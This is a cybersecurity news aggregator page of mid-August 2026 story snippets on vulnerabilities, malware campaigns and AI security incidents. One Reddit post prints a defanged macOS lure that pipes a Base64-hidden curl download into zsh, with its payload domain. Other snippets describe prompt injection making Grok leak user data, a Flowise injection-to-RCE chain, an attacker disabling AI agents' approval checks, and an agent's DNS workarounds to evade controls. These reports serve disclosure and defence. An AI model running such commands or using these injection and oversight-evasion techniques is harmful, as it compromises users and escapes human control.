A now-patched security flaw impacting Zimbra Collaboration (ZCS) has come under active exploitation in the wild, according to the Polish Computer Emergency Response Team (CERT Polska). The vulnerability in question is CVE-2026-73570 (CVSS score: 8.9), which refers to a case of command injection that can lead to remote code execution. "A remote code execution vulnerability exists in Zimbra
Cybersecurity News and Vulnerability Aggregator
Cybersecurity news aggregator
Updated: 5:20 pm
J/K Navigate / Search S Save V Open Link
— or
treemd <(curl -sL https://allsec.sh/md) (as Markdown) Top Cybersecurity Stories Today
Adversa AI has disclosed an attack technique that it says can cause xAI's Grok chatbot to send a user's name, approximate location, subscription tier, and the prompts from the ongoing conversation to an attacker-controlled server after the user asks it to summarize an ordinary web page. The AI security company, which has codenamed the technique "Cryptographic Context Injection," said the
Citrix has released updates to address two security flaws impacting NetScaler ADC and NetScaler Gateway deployments, including a critical-severity authentication bypass vulnerability. According to the cloud computing and virtualization technology company, the issues affect customer-managed NetScaler ADC and NetScaler Gateway, including certain FIPS and NDcPP builds, as well as SecurAccess
Cybersecurity researchers have disclosed details of a remote Spectre attack against Cloudflare Workers that leaked a JSON Web Token (JWT) from a co-located Worker in the production environment at up to 12 bits per second, 360 times the rate of an earlier attack demonstrated in 2021. The end-to-end experiment used an attacker Worker and a victim Worker controlled by the researchers,
Latest
Thursday, August 20
Since June, developers have created thousands of third-party OAuth apps on Cloudflare , with more than a million authorizations since. OAuth makes delegated access possible. It lets applications act on a user’s behalf without asking them to handle long-lived credentials or hand over a password. That model works well when an application can describe its access needs with a small set of scopes. Developers use OAuth for SaaS integrations, internal tools, CLIs, and agents. Our permission model has become more granular over time to support better scoping of these different workflows. That is great for security, but it makes a purely all-or-nothing consent screen hard to justify. Cloudflare OAuth already allows clients to request a subset of their configured scopes. But once the client made that request, the user could not narrow it any further on the consent screen. For the user on the consent screen, the experience was still an all-or-nothing one. If an application requested more access than a user was comfortable granting, their only options were to approve the full request, or deny outright. MCP servers are a good example of this. An MCP server might request a broad set of permissions, because in theory an agent could use all of them. But most users would not want an agent to have that much access. Before this feature, the only way to handle this was for the app developer to build a custom scope selection screen before sending the user to our consent flow. Today, we’re introducing OAuth scope customization. Client owners can mark specific scopes as optional when configuring an OAuth client, giving users the ability to grant a narrower subset of an application’s requested access at authorization time. The OAuth spec already allows authorization servers to grant a narrower set of scopes than wh
The U.S. government on Wednesday warned of an "active threat" targeting critical infrastructure organizations in the country using artificial intelligence (AI)-generated exploit scripts. The activity is targeting Siemens S7 SeriesProgrammable Logic Controllers (PLCs) to conduct reconnaissance and capability development using AI-generated scripts disguised as legitimate monitoring tools. That
N-Able's passportal decrypts passwords on the server, encoding part of the vault key material in the access tokens, meaning that with the access and refresh tokens, an attacker gets full persisted control over the vault - these tokens could leak to any iframe or site a user saw. I am OP here - feel free to ask questions.
Built a browser extension that blocks +50 fingerprinting vectors, encrypts data locally and monitors threats in real time. No telemetry, no dependencies its pure JS. Would love your feedback. What would you add or improve? [urbanyl/Al-Kantara-Security-Extension](https://github.com/urbanyl/Al-Kantara-Security-Extension/tree/main)
Adversa AI has disclosed an attack technique that it says can cause xAI's Grok chatbot to send a user's name, approximate location, subscription tier, and the prompts from the ongoing conversation to an attacker-controlled server after the user asks it to summarize an ordinary web page. The AI security company, which has codenamed the technique "Cryptographic Context Injection," said the
Most enterprises should treat annual penetration testing as a baseline, not a complete answer. PCI DSS is the one framework with an explicit annual and change-triggered mandate. SOC 2, the current HIPAA Security Rule, and ISO 27001 all expect testing to follow the organization's own risk assessment and control design, not one fixed calendar date. HHS has proposed an annual HIPAA pentesting requirement, but that rule has not been finalized. Enterprises that combine a formal annual assessment with change-triggered and continuous validation stay ahead of frameworks that were never designed around a single testing frequency. The post How Often Should Enterprises Run a Penetration Test? appeared first on Synack .
Cybersecurity researchers have disclosed a critical security flaw in isolated-vm, a popular open-source sandbox with more than 2,900 stars and 190 forks on GitHub, that could allow attackers to escape the confines of the isolated environment. The vulnerability ("GHSA-864f-rcv7-6rh4"), which has yet to be assigned a CVE identifier, impacts all versions of the library before and including 7.0.0.
Citrix has released updates to address two security flaws impacting NetScaler ADC and NetScaler Gateway deployments, including a critical-severity authentication bypass vulnerability. According to the cloud computing and virtualization technology company, the issues affect customer-managed NetScaler ADC and NetScaler Gateway, including certain FIPS and NDcPP builds, as well as SecurAccess
A now-patched security flaw impacting Zimbra Collaboration (ZCS) has come under active exploitation in the wild, according to the Polish Computer Emergency Response Team (CERT Polska). The vulnerability in question is CVE-2026-73570 (CVSS score: 8.9), which refers to a case of command injection that can lead to remote code execution. "A remote code execution vulnerability exists in Zimbra
GLM-5.3's emergent security capabilities: 1,097 critical/high severity bugs discovered across kernels, browsers, and infrastructure, oldest flaw from 1981
Most of my job is figuring out what not to touch. We have dependencies in prod from before I started, half the system uses them and nobody has opened them in years. Every audit I just skip past it. You dont wanna be the one who breaks something you didnt even know depended on it. Saw something with GLM-5.3 the other day that kinda proved where these things are actually useful. They ran it over alot of open source, turned up thousands of vulns, bunch of them critical. One had been sitting there since 1981. Longer than I've been alive. Buried in kernels and browsers, stuff nobody rereads. Problem was never finding bugs tho. We were already drowning in the ones we knew about, now theres just more. Piles bigger. But its a pile I know about instead of one sitting in a file I avoid, so I'll take it.
Guy named Cameron Curry was a data analyst at Brightly Software (acquired by Siemens). When he found out his contract wasn't getting renewed, instead of just updating his resume like a normal person, he used his access to pull employee PII, payroll data, and internal records before he lost access, then spent weeks emailing execs under a fake identity threatening to leak everything unless he got paid in crypto. He got caught because he used his mom's and sister's debit cards linked to the Coinbase wallet he wanted the ransom sent to. 24 months in federal prison, plus he has to hand back the $7,500 they'd already paid him. Barely any "hacking" involved though. He already had legitimate access. No exploit, no phishing, just someone who was already trusted deciding to weaponize it on the way out the door. Feels like most companies are way more focused on external threats than what happens in that window between "someone knows they're leaving" and "their access actually gets revoked." Anyone dealt with something like this, or work somewhere that actually handles offboarding well? [Source](https://www.bitdefender.com/en-us/blog/hotforsecurity/prison-data-analyst-extort-employer).
Researchers at the University of Massachusetts Amherst have demonstrated an attack that revives expired Visa contactless credit cards for real in-store purchases by rewriting the expiration date a point-of-sale (POS) terminal reads over near-field communication (NFC), without breaking any of the card's cryptography. The attack, which the researchers named "Zombie Card," requires physical
In March 2026, an internal AI agent at Meta triggered a “Sev 1” incident after sensitive company and user data was exposed to employees who weren’t authorized to access it. The incident began when a Meta employee posted a technical question on an internal forum. An engineer used an approved AI agent to analyze it, but the agent posted its response publicly without approval. The employee
Cybersecurity researchers have disclosed two denial-of-service (DoS) attacks that exploit how major content delivery networks (CDNs) convert client-facing HTTP/3 traffic into HTTP/1.1 requests to the websites they front, amplifying a low-bandwidth request stream by up to 350x against the origin server. The attacks, collectively named "CDN Tsunami," were evaluated against Alibaba, Baidu,
A new Android threat codenamed Manic has been observed actively targeting Ukrainian banks, government and identity services, and messaging applications, as well as Russian and European financial institutions, global fintech and cryptocurrency services, and military-focused communications. "Manic sits at the intersection of Android banking malware and mobile spyware, combining financial-fraud
Cybersecurity researchers have shed light on an updated version of ToxicPanda (aka TgToxic) that comes with "significant enhancements," including a set of 167 remote commands and expands its targeting footprint globally. Zimperium zLabs, in a Wednesday report, said the Android malware also features a PIN harvesting workflow targeting more than 140 banking and cryptocurrency applications.
A set of 40 Mozilla Firefox extensions has been found to engage in cryptocurrency wallet theft by masquerading as OKX, Rabby Wallet, TronLink, and other Web3 products. According to the Socket Threat Research team, the extensions are part of a broader set of 77 browser add-ons that share source code and infrastructure overlaps. The campaign, dubbed Offside Wallet Theft Factory, is believed to
This one is worth digging into. We found an exposed attacker workspace with **142K+ files**: agent transcripts, shell history, recon data, exploit tooling, creds, victim evidence, the lot. What stood out was how the operator was wiring AI coding agents into the offensive workflow, disabling approval checks and pushing tasks through Telegram. The dump also contained evidence tied to **8,996 compromised WordPress sites**, a 3.4M-host recon corpus, stolen credentials, crypto wallet data, cryptojacking activity, and an experimental blockchain-based C2 project. The interesting bit here isn't simply "hackers use AI." We already know that. It's getting a fairly raw look at how one operator was actually putting these agents to work alongside conventional offensive tooling at scale. Full technical breakdown: [https://www.cloudsek.com/blog/ai-agent-driven-offensive-operation-crypto-wallet-credential-compromise](https://www.cloudsek.com/blog/ai-agent-driven-offensive-operation-crypto-wallet-credential-compromise) Would be interested in what others make of the agent setup, especially the approval-bypass workflow.
N4D Mesh Controller: New infrastructure, a UPX-packed agent labeled "go-titan," and how to hunt for it
Datadog Security Research executed a newer N4D Mesh Controller sample in isolated microVMs, uncovering rotated infrastructure, a UPX-packed go-titan agent, MCP tool abuse in action, and direct runtime evidence of multi-service scanning and persistence.
Wednesday, August 19
sandb0x-Xtract0r - is an automated cross-platform security analysis engine. It safely detonates suspicious files across PC, mobile & cloud environments while capturin execution telemetry, network traces & memory dumps. An integrated multi-LLM bot (Gemini, Claude, ChatGPT, Codex) https://github.com/darnellwashingtonjr94-art/Sandb0x-Xtract0r https://hub.docker.com/r/credkellar/sandbox-api \#github #geminiai #docker #maleware #johnhammond
strip --strip-all a binary and this still names functions by micro-executing them and matching the effect trace against a corpus. spot check: zlib corpus vs a fully stripped O0 build, it named 9 functions and all 9 were right, and it stays quiet on the ones it isn't sure about (no confident garbage on thunks). where byte sigs (FLIRT) die on recompile and CFG diffing gets fragile across opt levels, behavior holds up better. optimized-vs-optimized is still the hard case, i'm honest about that in the numbers. x86-64 only atm. [https://github.com/1rhino2/fnprint](https://github.com/1rhino2/fnprint)
built a thing for the "vendor quietly patched a function in v2, which one and does anyone else ship the same vulnerable code" problem. micro-executes each function, records what it does (mem/call/branch effects), fuzzy-matches on that instead of bytes or CFG so it survives recompiles. use case for this sub: index v1 and v2 of a binary, get the changed/added/ removed function list, focus review on what actually moved. x86-64 ELF for now, honest accuracy table + limits in the readme. [https://github.com/1rhino2/fnprint](https://github.com/1rhino2/fnprint)
Overview RDK Central RDK-B WebUI version, rdkb-2025q4-kirkstone, contains multiple vulnerabilities involving memory corruption, improper authentication, race conditions, and insufficient input validation. An attacker with network access to an affected WebUI may be able to bypass authentication, obtain administrative access, cause a denial-of-service condition, or corrupt memory within underlying RDK-B processes. Under certain conditions, this memory corruption may potentially be leveraged for arbitrary code execution. Description RDK-B (Reference Design Kit for Broadband) is an open-source software platform used in broadband gateways and related networking devices. The RDK-B WebUI provides a web-based interface for configuring and administering an RDK-B device. Five vulnerabilities have been identified in the RDK-B WebUI. CVE-2026-19505 JWT (JSON Web Token) authentication in javascript-templates/source/jst_functions.c does not correctly verify whether a token's cryptographic signature is valid. The application treats both a valid signature and an invalid signature as successful verification because it incorrectly checks the return value from OpenSSL's EVP_VerifyFinal() function. A remote, unauthenticated attacker can craft a JWT with an invalid signature that is still accepted by the WebUI. Successful exploitation allows the attacker to log in as the privileged user and gain administrative access to the device. CVE-2026-19506 The login process in /usr/www2/check.jst uses a shared value to store the result of password verification. Because this value is shared between multiple requests, the application may return one user's authentication result to another user's session. An unau
Cybersecurity researchers have disclosed details of a remote Spectre attack against Cloudflare Workers that leaked a JSON Web Token (JWT) from a co-located Worker in the production environment at up to 12 bits per second, 360 times the rate of an earlier attack demonstrated in 2021. The end-to-end experiment used an attacker Worker and a victim Worker controlled by the researchers,
OpenAI on Tuesday revealed that it paused reinforcement learning (RL) training for its latest artificial intelligence (AI) models for two weeks while it shored up additional defenses and increased the scope of its monitoring to avert another Hugging Face-like incident. "As models become more capable, the risks associated with developing and testing them internally also grow," the AI company
AI pentesting works, but building it in-house is the hard part. Synack VP Chris Brown breaks down the reliability, token economics, model dependency and validation costs that come with building versus buying an AI pentesting capability. The post AI Pentesting Works. Building It Yourself Is the Hard Part. appeared first on Synack .
A previously unreported cyber espionage operation dubbed SilkParasite has been observed targeting government bodies in Central Asia. The intrusion set makes use of seven remote access tool (RAT) families, five of which have never been previously documented: DriveSilkRAT, CookiETagRAT, NomadRAT, GoginRAT, and NodeEdgeRAT. SilkParasite, first discovered in late 2025, is assessed to be a
I finally found some time to organize my notes on secure boot, remote attestation, measured boot and in general embedded security. This is not ground breaking zero-day research but I figured some of you might like a good story. Good here is obviously subjective but I felt like it came out quite readable. This blog builds heavily on public research so as already stated at the end of article if you liked some particular section, show the respective person some love :) P.S.: yes I know the image is AI generated please don’t give me shit for that
Cybersecurity researchers at Hunt.io have disclosed details of a campaign that they say compromised more than 14,530 Dahua devices between June 17 and July 22, 2026, using credential attacks, two authentication-bypass flaws, and a peer-to-peer (P2P) relay technique. The activity, codenamed Operation CameraSwarm, was reconstructed from a 407 MB exposed working directory containing 2,616 files
Most email defenses still do the job they did a decade ago. Scan the message, look for something malicious, block it. That worked when the danger sat in the payload, a bad link or an attachment. It stopped working when the danger moved into the message's intent, and it is failing now that the sender is no longer a person. From Bad Content to Bad Intent to AI on Both Sides Phishing 1.0 was bad
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four critical vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, stating they are being exploited in the wild. The shortcomings added to the KEV catalog are listed below - CVE-2026-65400 (CVSS score: 9.8) - An improper authentication vulnerability impacting Apple macOS that could allow an
The people-search tool ClarityCheck says its reverse image search service is “private and secure”—but it left a database containing more than 9 million image files exposed.
Flock’s surveillance cameras have already sparked outrage. WIRED reconstructed its next-generation AI system, already in use by some police, to confirm it goes much further than tracking license plates.
Three variations on subversive use of DNS by the Agent are documented in Hugging Face's technical writeup of the July 2026 security incident involving OpenAI models. In this article, I discuss what each of these three types of DNS workarounds achieve in practice, the constraints an actor might have faced to attempt a particular one, and additional benefits from choosing each.
We tested Sonnet 5, Composer 2.5, and GPT 5.5 in plan mode and default mode to see whether plan mode produces measurably more secure code.
Tuesday, August 18
The ChatGPT maker says its upcoming Astra model may have reached “critical” cyber capabilities, prompting it to halt a significant number of training runs while it tightens internal safeguards.
Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP) , depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated. Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies
One advertisement featured a pornographic video with a deepfake closely resembling a prominent US politician. Apple removed the app from the App Store after an inquiry from WIRED.
Author here. I audited NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, and Airflow and disclosed 14 findings. Every platform inherited the same assumption anyone who can touch a workflow is trusted to run code on the host, which is fine for a dev tool on your laptop but not fine for a multi-tenant HTTP service with an unauthenticated webhook. The chain I'd point people to first is the Flowise one (section 2.2): an unauthenticated request → prompt injection → LLM emits Python → a 38-pattern regex blocklist passes it because the dangerous library was pre-imported before the model was asked anything → RCE. Two vendors closed their reports as working-as-intended, and I tried to represent their position fairly. This research was also presented at DEFCON 34 but now available publicly. Happy to answer questions. Full whitepaper is available here: [https://www.endorlabs.com/learn/how-ai-orchestration-platforms-ship-rce-by-design](https://www.endorlabs.com/learn/how-ai-orchestration-platforms-ship-rce-by-design)
Proton’s CEO is a champion of encryption for everyone. So why is he going all in on un-encryptable AI?
After Noel Pichardo called out his city's embrace of Flock surveillance cameras, he was subjected to five internal affairs investigations in less than two years.
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite The current ransomware situation is a bit of a kludge (deep breath): a lot of ransomware (which often doesn't even involve "ware", it's just extortion) is carried out by kids who successfully make a truckload of money but can't spend it without getting caught and the companies they breach rapidly get piled onto by class action lawyers that keeps them busy fighting and being cautious not to say anyting to customers lest that then gets used against them in litigation. That's mostly it; more in this week's video:
Monday, August 17
Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain. I can provide more sanitized timestamps and filesystem observations if useful for analysis.
To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the [Reverse Engineering StackExchange](http://reverseengineering.stackexchange.com/). See also /r/AskReverseEngineering.
Today, we’re introducing a redesigned GreyNoise Visualizer that makes it easier to navigate those capabilities and brings related workflows together in one place.
Sunday, August 16
Technical analysis of CVE-2026-6837, an authenticated command-injection vulnerability in Zyxel’s PKCS#12 certificate export flow. The post covers the vulnerable execution path, root cause, affected firmware scope, and the firmware-emulation methodology used during analysis.
phaedra: coverage-guided fuzzer that uses a local LLM to bootstrap seeds for undocumented binary formats
Saturday, August 15
Friday, August 14
At a press conference outside Madison Square Garden, politicians, musicians, and privacy advocates argued for tighter restrictions on how public venues deploy biometric surveillance.
Most companies designed their resource permissions with a human user in mind. A senior engineer may be able to deploy to production, query a sensitive database, or revoke another user's access. Those privileges come with risk, but that risk has traditionally been bounded by two assumptions: the engineer will use human judgment, and the engineer can only act at human speed. An engineer who sees an unexpected result will usually stop and reconsider their actions. Any human being can only click, type, and review so much in a single day. The introduction of AI agents changes both thresholds. Their decisions are nondeterministic, and they can take the same action (or invoke the same tool) indefinitely, without getting tired or stopping for lunch. A plausible — but incorrect — decision can become thousands of incorrect actions before a human notices. Today, we're announcing new Cloudflare One capabilities to identify inspected MCP traffic, show which users and servers are generating it, and control direct connections on managed network paths. Combined with MCP Server Portals , these controls help administrators see whether agents are using an approved path, or somehow bypassing it. Model Context Protocol (MCP) servers give agents a common way to discover and invoke tools backed by third-party SaaS products, internal applications, and APIs. The underlying permissions are likely familiar; what changes is who makes each decision, and how quickly a bad decision can spread. Connecting an agent to one of these tools can take a single
AI has enabled employees across every team to build applications faster than ever before. But that speed is also what's keeping every CISO up at night: any employee can build an application, deploy it to the public Internet, and accidentally expose internal work or company data. Today, we're launching new tools to make it easy to keep your applications hosted on Workers private. You can now apply Cloudflare Access directly to a Worker or to every Worker in your account, so that your applications are behind your company login by default, without relying on each developer to set that up themselves. You can now: Set a policy at the account level to ensure that all preview and production deployments are behind your company login by default. Set a policy on a single application to ensure authentication is enforced on every domain associated with it, no matter how it's deployed. See exactly who visits your application. Get every authenticated user’s email, name, and groups directly in your code — no JWT (JSON Web Token) validation required. Deploy an internal platform where every deployment is private by default. We've open-sourced an example : an internal static site platform where every Worker deployed is private. Access on Workers: how it works When you enable Access on a Worker, Cloudflare enforces authentication before any request reaches your application code. It doesn't matter how the request gets to your Worker, whether it's through a custom domain, a route, a workers.dev subdomain, or a preview URL. If Access is on, the user h
It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile an
Thursday, August 13
Here's my research in using CSS for offence. There are loads of techniques including stealing passwords from Outlook from an email by spoofing the login screen. [](https://www.reddit.com/submit/?source_id=t3_1viivra&composer_entry=crosspost_prompt)
At a time when looking down at our devices is a ritual in daily life, a natural phenomenon that demands our attention communally upward is a welcome event. On Wednesday, August 12, a total solar eclipse swept from the North Atlantic across Europe, moving over Iceland and northern Spain and Portugal, with a deep partial eclipse over the rest of Western Europe, all near local sunset. This was the first total solar eclipse to cross mainland Europe in twenty years, and it drew millions outdoors to witness the moon pass between Earth and the sun. As we saw during the 2026 World Cup and the last total eclipse in 2024 , online behavior is noticeably affected when an event at this scale takes place. In this blog post, we’ll use data from Cloudflare Radar to examine how Internet traffic shifted alongside the moon and the sun. Internet traffic dips align precisely with maximum obscuration In the figure above, we measured HTTP request volume in five-minute buckets across the affected countries on eclipse day, and compared it to a normal-day baseline. Each row is a country (except for Alaska) and each column is a five-minute slice of August 12, 2025, the day of the eclipse. The countries appear above in the order in which they saw the eclipse. The black diamonds mark the moment of maximum eclipse and the color shows the percent change in HTTP traffic versus the baseline (red = below normal, blue = above). We can see very clearly that the black diamonds overlay the darkest red, almost perfectly, signaling that as the eclipse deepened, Internet traffic decr